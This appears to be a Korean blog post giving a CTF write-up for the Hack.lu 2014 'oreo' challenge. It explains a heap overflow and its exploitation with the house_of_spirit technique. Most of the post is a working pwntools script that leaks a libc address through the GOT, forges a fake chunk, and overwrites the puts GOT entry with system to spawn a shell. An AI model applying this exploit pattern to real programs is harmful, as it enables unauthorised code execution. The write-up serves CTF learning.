-
Hacklu 2014 oreo카테고리 없음 2017. 6. 27. 11:16add부분에서 heap오버플로우가일어남house_of_spirit를 사용하면 풀수있음Message변수에 들어가있는주소는 add할때마다 올라가는 숫자(카운트)가 저장되어있음그 카운트가 청크 사이즈가됨 + 0x4가 변조전에 add한 청크를 가르키고있는 포인터임그래서 Message+0x4로 add부분에서 수정하면그곳이 데이터시작위치가됨123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354from pwn import *#p=remote("localhost",9001)p=process("./oreo_35f118d90a7790bbd1eb6d4549993ef0")elf=ELF('oreo_35f118d90a7790bbd1eb6d4549993ef0')Message = 0x0804a2a4print p.recv(1024)def add(name,description):p.sendline("1")p.sendline(name)p.sendline(description)def Show():p.sendline("2")def Order():p.sendline("3")def Leave(submit_order):p.sendline("4")p.sendline(submit_order)def ShowCurrent():p.sendline("5")LeaveHeap = 0x0804a2a8top=0x20fc1payload='A'*27payload+=p32(elf.got['free'])add(payload,"B")##top-=0x40Show() ##print p.recvuntil('Description: ')print p.recvuntil('Description: ')p.recv(4)FREE=u32(p.recv(4))system = FREE - 0x1a5ee0cmd = system+0xe7139print hex(FREE)print hex(system)print hex(cmd)for i in range(0,60):add('D','Q')top-=0x40print hex(top)add("A"*27+'\x00'*4,'D')payload="A"*27payload+=p32(Message+0x4)add(payload,"DCBA")Leave(p32(0)*9+p32(0x12c)+p32(0)*4)Order()add("Z",p32(elf.got['puts']))Leave(p32(system)+p32(cmd))p.interactive()
cs 변조할 주소값을 알아야됨(SYSTEM LIBC 등), 그 변조할수있는 포인터를 free할수있어야됨
첫 번째 청크를 가르키고있는 주소가있다면 그 주소값을 fake chunk가 있는 STACK주소로 변조했다치고, FREE를 하고 malloc를 하면 변조된 stack주소로 바뀌게됨
HOW2HEAP